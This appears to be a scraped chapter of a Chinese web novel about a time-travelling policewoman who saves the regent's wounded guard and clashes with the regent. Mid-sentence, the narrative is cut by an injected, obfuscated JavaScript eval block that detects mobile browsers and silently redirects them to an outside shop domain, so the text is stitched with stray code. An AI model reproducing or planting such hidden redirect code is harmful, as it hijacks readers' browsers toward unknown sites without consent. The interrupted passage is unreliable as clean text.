文趣网 > 玄幻小说 > 穿越废柴女警,拿捏冷面摄政王 > 23. 竭全力救治苏茗
    阿蛮缩在水缸之中,屏住呼吸,心提到了嗓子眼。

    牛车缓缓前行,一路穿过城门通道。金羽卫查的严格,连粮食袋子都要插两刀。

    他们不会把水缸翻起来查吧?

    眼看就要查到牛车,怀夕急得如热锅上蚂蚁。

    排在牛车后的是一对青衣男女,衣领和袖口都绣着精细的竹叶。

    男的黑胖黑胖,女的满脸的麻子,看起来都不起眼。

    透过水缸缝隙,阿蛮发现麻脸女头一歪,眼神定了一下。

    坏了,她不会看到我了吧?赶紧往后一躲。

    女的转头对胖子耳语,两人哈哈笑起来,似乎在说什么好笑的事。

    终于轮到验牛车了,老伯递过去文书,看完没问题,检查的兵甲开始往后走,准备验看水缸。

    阿蛮心跳如擂鼓,正左右为难时,牛车突然动了一下。

    紧靠在后面的黑脸汉子突然抱着脚大叫一声,

    “哎呦,你这老头,牛车压我脚了!”

    老头愣住了,

    “哪里压住了?小老儿的牛听话的很!根本就没动!”

    “怎么没动?明明动了,没动的话谁压的我脚?别想赖,赶紧赔钱!哎呦,哎呦……”

    老头儿不服,

    “平白的诬赖好人,谁要赔你钱……”

    两人越吵越凶,越吵越激动,黑脸汉子一步走上前,抓住老头儿的衣领。

    老头儿伸手去挠他脸,无奈汉子又高又胖,他根本够不到。

    两个人转着圈,吵得唾沫横飞。

    百姓们看的津津有味,急着出关的开始大声催促。

    验文书的头领心里有事,被他们吵的烦死了,赶紧走上去拉架。

    “别打了,要打出关打去!”

    一个不留神,被黑胖子的肘子打了一下脸,疼的呲牙咧嘴的。

    他顿时来气了,

    “妈的,死胖子把文书给我看一眼,你俩给我滚出关打!”

    后面麻脸女赶紧递过来文书,

    “官大爷,他文书在这里!”

    头领匆匆验了,嫌弃的把他们赶出去了。

    出了城,黑胖子突然放变了脸色,

    “老人家,都是我的错。压一下就压一下,也没什么的,您老别生气了!

    我也不用赔钱,身体壮实,两天就好了!”

    老头这才态度好起来,两人客气寒暄。

    麻脸女抬起水缸,朝阿蛮招招手。

    阿蛮麻利爬出来,闪到女的身后。

    城内这边,变故骤然爆发。

    数十名黑衣人骤然杀出,直奔金羽卫而来,摆明是要出城。

    两方迅速交战在一起。

    百姓们吓得四散奔逃,城门迅速被闭合。

    怀夕一看出城无望,正要折返。突然听到一声长啸。

    一个熟悉的身影策马疾驰而来,气势慑人。

    穆长风?

    他一身朝服未卸,身姿挺拔如松,眼底锋芒毕露。

    穆长风长剑出鞘,招式干脆狠厉,招招直取要害。

    近身黑衣人接连倒地,血光四溅。

    金羽卫也异常勇猛,紧随穆长风阵型合围,长枪短剑配合默契。

    片刻间,黑衣人节节败退,满地尸骸狼藉。

    混乱之间,阵中突然冒出一个黄口小儿。

    在刀光剑影中哀哀痛哭。

    怀夕脑中嗡嗡作响。

    这是哪里出来的小孩子?这还能活?

    正盘算怎么救他,小儿悄然绕至穆长风身后,抬手猛地扬出一把灰白迷粉。

    粉末迎风扑面,径直笼罩穆长风周身,他猝不及防吸入些许,瞬间只觉头脑发昏,动作慢了大半。

    刚才还哀声恸哭的小孩,突然发出桀桀怪笑,嗖的跳到马背上,袖箭连发,直直射向穆长风心口要害,力道迅猛,避无可避。

    千钧一发之间,一道身影飞身而来,毫不犹豫挡在穆长风身前。

    是苏茗。

    利箭狠狠没入他的胸膛,鲜血瞬间汹涌而出,染红了身前衣衫。

    “苏茗!”

    穆长风大喊一声,手中长剑迅速甩出。

    正中怪胎心口,贯穿而过,怪胎立刻毙命。

    怀夕心头骤然一紧,全然顾不上隐藏行踪。

    她一把掀开车帘,快步冲下马车,直奔二人身旁而去。

    穆长风抱住苏茗,满脸哀色,一直唤他名字。

    苏茗脸色惨白如纸,气息微弱。

    余下贼人已被金羽卫尽数剿灭。

    穆长风显然陷入了巨大哀恸,意识模糊,甚至看不清怀夕的脸。

    “穆长风,子桢,子桢……”

    怀夕大哭着,试图唤醒他,抱住他。

    穆长风瞪着她,试图看清她,回应她,最终还是晕死过去。

    她来不及多想,摸出穆长风的腰牌,大喊,

    “辞安,辞安……”

    “卑职在!”

    把腰牌扔给他,

    “快,快去,快马加鞭,把太医全请到王府!谁敢阻拦,格杀勿论!”

    她脑中只有一个声音。

    “苏茗不能死,不能让苏茗死!”

    穆长风根本接受不了。

    摄政王府灯火通明。

    太医们忙进忙出,围在一起商量对策。

    怀夕硬撑住自己。

    徐太医很为难,

    “侧妃,王爷倒没什么,只是中了迷烟,药效过了就会醒。

    只是,苏侍卫长……

    箭伤好治,但箭上有毒,此毒邪的很,这么短时间已经深入骨髓,怕是难活过今晚。”

    怀夕面色冷定,语气坚定,

    “徐太医,他必须活!既然毒已入骨,那就刮骨去毒。”

    徐太医连连摇头,满面难色,

    “只能一试,老朽实在……毫无把握。”

    怀夕猛地起身,声线陡然一扬,字字铿锵,

    “这世间事,何时有过十拿九稳?今日不搏,他便只有死路一条!刮骨疗毒,古有旧例,未必不能成功!”

    她转过身,目光扫过厅中所有太医,语气慷慨,掷地有声,

    “诸位都是莘朝顶尖的医者。寻常病症,何须劳烦各位出手?今日正是要用你们的本事,行惊天之举,救必死之人!

    摄政王府坐拥天下奇珍,千年人参、珍稀灵药、御用针具、绝世奇方,你们要什么,我便给什么,倾尽一切也在所不惜!

    今日,我不求别的,只求诸位同心协力,逆天改命!”

    众人被她一番话说得士气大振。

    徐太医慨然拱手:

    “侧妃既有此决心,我等万死不辞,定全力以赴,绝不辜负!”

    老参、冰片、犀角……各种药材源源不断地送进去。

    十几个丫头在廊下列开阵势,煎药,切药材。

    一盆盆血水端出来。

    怀夕强忍住翻涌的情绪。

    此时,她是太医们的主心骨。

    绝不能倒下。

    辞安忍着泪来回话,

    “侧妃,咱们抢了库房,搬走了那么多名贵药材,老夫人气急了,带着儿子儿媳来找你麻烦了!”

    怀夕抬眼问,

    “院子围好了吗?”

    辞安点头,

    “金羽卫和府兵都调来了,围的水泄不通。萧齐他们埋伏在暗处!”

    “不用管,让她们闹去!”

    穆老太太听说自己儿子只是中了迷烟,价值千金的药材要用到一个侍卫身上,立马翻脸。

    袁平磕头求了半天,她都不肯拿出钥匙。

    时间不等人,怀夕干脆直接带上金羽卫,生生踹开库房门,把所有名贵药材都搬走了。

    两天一夜,太医们才拖着疲惫的身体鱼贯而出。

    怀夕焦急冲上去,

    “徐太医,如何了?”

    徐太医郑重拱手,

    “幸不辱命!保住了一条命,只是余毒未清,还未醒转!”

    怀夕如石落地,喜极而泣,倒头便拜。

    “老大人们,我代王爷叩谢你们!”

    太医们吓的赶紧去扶,

    “受不起受不起,侧妃大礼折煞我们了!”

    “辞安,好好送太医们回去,每人封百两金!”

    穆长风醒来时,日头西斜。

    窗外咕咕作响,药香浓郁。

    袁平进来换茶,一看穆长风已经坐起来了。

    他立马惊喜道,

    “爷醒了?”

    穆长风刚要说话,袁平已转身狂奔,一路高喊,

    “侧妃,爷醒了!侧妃……”

    穆长风皱眉,这是眼里只有侧妃?

    他头疼欲裂,昏迷前的画面猛地涌上心头。

    苏茗!

    心中一阵大恸。

    猛的翻身下床,便要去寻苏茗。

    怎奈身子虚软,头晕目眩,脚下一个踉跄。

    刚勉强站稳,怀夕已如风一般冲进来,来势太猛,一不小心两人一起摔倒在床。

    穆长风被撞的头晕更甚,一时竟不能动。

    “穆怀夕,你要谋杀亲夫?”

    怀夕看着他,喜笑颜开,

    “穆长风,你的苏茗,我给你救活了!”

    穆长风眼框瞬间泛红,声音暗哑,

    “苏茗……没事?”

    “没事!”

    他再也抑制不住,紧紧抱住怀夕,一行热泪无声落下。

    苏茗睡的很安稳。

    穆长风扯开他的衣服,身上到处都是伤疤,令人触目惊心。

    怀夕惊讶地捂住嘴。

    “这些伤,都是为本王受的!

    我是在斗兽场见到的他。那十几个少年,他是最英武也是最强的,追随本王数年,陪我浴血奋战,替我挡了无数明枪暗箭,和我亲弟无异!

    怀夕,你救了他,就是救了我,我欠你一条命!”

    怀夕笑笑,

    “救命之恩,我记下了,以后要向你讨的!”

    穆长风点点头,

    “随时等你讨要!”

    “不敢当不敢当,只是目前确有一事,需要你去解决!”

    怀夕一脸坏笑。

    果然不是好事。

    怀夕是会闯祸的。

    穆老太太带着两个儿子围住穆长风,七嘴八舌地数落着怀夕的不是。

    老太太气得脸色发白,执意要儿子把这个无法无天的女人撵出府去。

    “她带人踹了库房门?”

    “可不是嘛!简直胆大包天,把娘珍藏多年的保命灵药全拿走了!”

    穆长风平日冷寂的脸上,泛开笑意。

    穆老太太莫名其妙,

    “你笑什么?儿子,你气糊涂了?”

    穆长风敛去笑意,恢复了平日的阴鸷冷肃。

    “嗯,不亏是我的人!”

    众

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507609|202394||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人哑然失色。

    穆长风让人开了私库,把老太太损失的照价补上,她这才没话说。

    怀夕把整个太医院掳到府上,也遭到言官弹劾。

    可穆长风全然没放在心上。

    那些弹劾奏折,甚至根本传不到他面前——皇帝早已悄悄悉数压下,半个字也不敢让他知晓。

    晌午,暖玉阁备了粳米鸡丝粥,怀夕喝了几口,因担忧阿蛮,实在吃不下。

    桂花树下,她懒懒倚在摇椅上,看惜羽拄拐慢慢走动。

    思绪远飘。

    “怀夕,你还打算走吗?”

    怀夕这才回过神,轻轻应道,

    “要走的!阿蛮还在等我!”

    惜羽在她身边坐下,端起茶盏抿一口,

    “你真舍得王爷?我看王爷对你,很好,一心一意!”

    怀夕轻笑一声,眼底却没什么暖意。

    “一心一意?你从前在宫中,可曾听过乐莹长公主?”

    惜羽淡淡摇头,

    “乐莹长公主?不可能的,他不喜欢她!”

    怀夕直起身,

    “你怎能如此肯定?”

    惜羽笑得几分苦涩,

    “毕竟在荣贵妃身边伺候多年,别的好处没捞着,宫廷里的秘闻旧事,倒是一清二楚。

    长公主自小就倾心王爷,这般人中龙凤,世间有几个女子不爱慕呢?

    可先皇临终前逼王爷娶她,他都执意不应。如今他大权在握,就更无可能了!”

    怀夕重又躺回去,叹了口气,

    “可外头流言沸沸扬扬,他为何从不与我解释半句?”

    “你不也从未开口问过?”

    怀夕顿了顿,

    “也不只这些事。

    想起来,我们性格并不合适,都太有锋芒,总是在吵架,互相伤害,真的烦透了!”

    惜羽莞尔,无奈摇头,

    “两个傲娇的傻子!拥有的时候总不肯珍惜,频频闹着别扭,等走远了,才后悔当初任性!”

    说着说着,她眼底渐渐泛起泪花。

    话音轻得像被风一吹就散,分明是想起了藏在心底,再也回不去的旧事。

    世间怀愁者,原非一人。

    次日,怀夕刚回王府,就被辞安拦了下来。

    “侧妃,爷请你过去!”

    “好!”

    踏入屋内,只见穆长风脸色阴沉冰冷。

    怀夕早已厌烦了他这般阴晴不定的模样,语气不耐:

    “你又怎么了?又要教训我?”

    语气毫不客气,和当初遇见她时判若两人。

    满不在乎的样子,令穆长风很受伤,却也缓和了脸色。

    “袁平!”

    袁平应声入内,车马行的老板被重重扔地上,嘴里塞着布。转身便退了出去,关好房门。

    穆长风抬手指着他,沉声说,

    “解释!”

    怀夕吓一跳,怎么心虚地跟被抓了奸一样?

    对上穆长风等着发难的眼神,她瞬间决定先发制人。

    “你调查我?恩将仇报你真拿手啊!我可是救了苏茗的人,你的大大大大大恩人,你就是这么报答我的?

    不赏赐我金银珠宝也就罢了,还来抄我老底儿!欺负人家无辜的车行老板干什么?来来来,你直接捆了我,打我就行了!”

    一听救命之恩,穆长风顿时语调平和了。

    “你何必这般说话?我只要一句实话,为何出现在城门口?”

    我不出现在城门口,你的苏茗就死了!

    怀夕心想。

    叉腰站直,进入一级吵架模式。

    “听说你还带着一大包金银?为什么?”

    “没什么,我就是喜欢把金银收拢看着热闹。你素来知晓,我本就爱财。”

    怀夕不敢吐露实情,只能随口敷衍搪塞。

    穆长风半点不信,沉声追问:“你身边那名侍女去哪了?”

    “她顶撞我,我就把她打发走了!”

    字字都是假话,句句都是推脱。

    穆长风又气又急,又怕彻底惹恼怀夕,不敢强硬逼迫:

    “你平日那么疼她,会让她走?”

    怀夕神色平淡,语气疏离:

    “你不信?那我也没办法!”

    说罢转身就要走。

    穆长风赶紧过来抱住她,放软语气。

    “怀夕,你说实话,你是不是本打算走?”

    怀夕沉默不语,让他更加心内惶惶。

    双手捧住她的脸,眼底泛红,再也没有半分摄政王的冷傲威严。

    “怀夕,别走!”

    语调轻软,似在哀求。

    话音未落,他再也按捺不住心底汹涌的情愫,俯身强吻下去。

    怀夕猝不及防,奋力挣扎无果。

    干脆狠狠一口咬破他的嘴唇。

    腥甜气息瞬间在唇齿间弥漫开来。

    穆长风吃痛,身形微僵,却依旧没有松开禁锢她的手臂。

    “我要是执意要走呢?”

    穆长风眼神冰冷,一字一顿,

    “我不许!”

    怀夕不甘示弱,

    “我想做的事,没人能拦住!你说我对你有救命之恩,那我要用恩情换自由,你许不许?”

    “想都别想!”

    怀夕气急败坏,破口大骂,

    “你这个衣冠禽兽,竟然毫无诚信!”

    摔门而去。